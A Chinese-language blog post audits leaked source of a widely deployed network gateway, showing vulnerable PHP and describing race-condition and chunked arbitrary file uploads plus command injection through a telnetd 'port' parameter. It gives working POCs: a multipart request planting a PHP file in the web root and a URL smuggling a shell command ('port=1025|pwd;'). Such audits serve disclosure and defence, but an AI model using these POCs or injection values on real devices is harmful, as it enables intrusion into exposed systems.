前言

意外拿到该网关源代码,之前该网关已经被披露了不少RCE漏洞。

面向过程式代码,比较老旧了,没有啥看的欲望,简单审计一下做个记录。

外网用的还是很多。

image-20250628163136678

漏洞分析

upload_**.php任意文件上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
require('php_class/function.php');
$upload_dir = '/www';
$attachment = $_FILES['Filedata'];
$filename =$attachment['name']; 
$fileext = substr(strrchr($filename,'.'),1);
$path = $upload_dir."/".$filename;
move_uploaded_file($attachment['tmp_name'],$path);
$fp = fopen($path,'r');
$buf = fread($fp,filesize($path));
fclose($fp);
...
$fp = @fopen($path,"r");
	$head_buf = @fgets($fp,512);
	if(strncmp($head_buf,"version",7) != 0)
	{
		fclose($fp);
		$errmsg ="文件格式不对!";
	}
...
unlink($path);
unset($attachment);
unset($path);
ob_end_clean();
$_SESSION['errmsg'] = $errmsg;

中间省了些逻辑,不影响整体。

整体逻辑就是上传了,最后删除。

可以使用条件竞争落地,一个上传文件,一个触发文件落地。

POC非常直给,直接往网站根目录上传指定文件:

1
2
3
4
5
6
7
8
9
POST /upload_**.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQb1Tpt0fmXyeB6ws

------WebKitFormBoundaryQb1Tpt0fmXyeB6ws
Content-Disposition: form-data; name="Filedata"; filename="xx.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundaryQb1Tpt0fmXyeB6ws--

**_remote_**.php远程命令执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
<?php
$port = 23233;
$on = 1;
if( isset ( $_REQUEST ['port'] ) ){
		$port = $_REQUEST['port'];
		if( $port <= 1024 ){
			$port = 23233;
		}
	}
	if( isset ( $_REQUEST ['switch'] ) ){
		$on = $_REQUEST['switch'];
		if( $on != 1 && $on != 0 ){
			$on = 0;
		}
	}
	if( $on == 0 ){
		system("killall -9 telnetd");
	}
	else{
		$cmd = "/usr/sbin/telnetd -p " . $port . " -f /www/issue.net -l /www/mylogin.sh";
		system($cmd);
	}

代码逻辑比较简单,portswitch可控。

有一个端口判断,利用PHP弱类型即可绕过。

port输入为1025|cmd;, switch输入为1

替换cmd为要执行的命令即可。

POC:

1
/**_remote_**.php?port=1025|pwd;&switch=1

upload_ip**.php任意文件上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?
require('php_class/function.php');
$upload_dir = '/www';
$attachment = $_FILES['Filedata'];
$filename =$attachment['name']; 
$fileext = substr(strrchr($filename,'.'),1);
$path = $upload_dir."/".$filename;
$fp = fopen('upload_sfmig.txt','a+');
fwrite($fp,'path='.$path.'  ');
fwrite($fp,'name='.$attachment['name'].'  ');
fwrite($fp,'errno='.$attachment['errno'].'  ');
fwrite($fp,'tmp_name='.$attachment['tmp_name'].'  ');
/*
if(file_exists($path))
{ //防止出现重复
	echo '<script language="javascript">
		alert("该文件已经存在");
		</script>';
	return;
}
else if($fileext !='bin'||$fileext !='con')
{
	echo '<script language="javascript">
		alert("上传的文件格式不对");
		</script>';
	return;
}
*/
move_uploaded_file($attachment['tmp_name'],$path);
Node_update('MAIN',$path,UCT_UPDATE);
echo '1';
?>

直给,POC与第一个漏洞一致。

save_**.php 任意文件上传

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
...
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0;
$fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : '';


// Clean the fileName for security reasons
//$fileName = preg_replace('/[^\w\._]+/', '_', $filename);
$fileName = mb_convert_encoding($fileName,"gb2312","utf-8");

$targetDir = '/mnt/'.$tmpDir.trim($save_path);
// Make sure the fileName is unique but only if chunking is disabled
if ($chunks < 2 && file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName)) {
	$ext = strrpos($fileName, '.');
	$fileName_a = substr($fileName, 0, $ext);
	$fileName_b = substr($fileName, $ext);

	$count = 1;
	while (file_exists($targetDir . DIRECTORY_SEPARATOR . $fileName_a . '_' . $count . $fileName_b))
		$count++;

	$fileName = $fileName_a . '_' . $count . $fileName_b;
}

$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;



// Create target dir
if (!file_exists($targetDir))
	@mkdir($targetDir);

// Remove old temp files	
if ($cleanupTargetDir) {
	if (is_dir($targetDir) && ($dir = opendir($targetDir))) {
		while (($file = readdir($dir)) !== false) {
			$tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file;

			// Remove temp file if it is older than the max age and is not the current file
			if (preg_match('/\.part$/', $file) && (filemtime($tmpfilePath) < time() - $maxFileAge) && ($tmpfilePath != "{$filePath}.part")) {
				@unlink($tmpfilePath);
			}
		}
		closedir($dir);
	} else {
		die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
	}
}	
// Look for the content type header
if (isset($_SERVER["HTTP_CONTENT_TYPE"]))
	$contentType = $_SERVER["HTTP_CONTENT_TYPE"];

if (isset($_SERVER["CONTENT_TYPE"]))
	$contentType = $_SERVER["CONTENT_TYPE"];

// Handle non multipart uploads older WebKit versions didn't support multipart in HTML5
if (strpos($contentType, "multipart") !== false) {
	if (isset($_FILES['file']['tmp_name']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
		

		
		// Open temp file
		$out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
		if ($out) {
			// Read binary input stream and append it to temp file
			$in = @fopen($_FILES['file']['tmp_name'], "rb");

			if ($in) {
				while ($buff = fread($in, 4096))
				{
					fwrite($out, $buff);
        }
					
			} else
				die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');
			@fclose($in);
			@fclose($out);
			@unlink($_FILES['file']['tmp_name']);
		} else
			die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
	} else
		die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}');
} else {
	// Open temp file
	$out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
	if ($out) {
	
		// Read binary input stream and append it to temp file
		$in = @fopen("php://input", "rb");

		if ($in) {
			while ($buff = fread($in, 4096))
			{
				fwrite($out, $buff);
			}
		} else
			die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');

		@fclose($in);
		@fclose($out);
	} else
		die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
}
// Check if file has been uploaded
if (!$chunks || $chunk == $chunks - 1) {
	// Strip the temp .part suffix off 
	rename("{$filePath}.part", $filePath);
}
...

chunk上传,可控文件路径,文件名,文件内容,最后重命名。

POC就不给了,试一下就出来了。

总结

这个网关代码挺垃圾的,一堆漏洞,用了的话赶紧下了吧。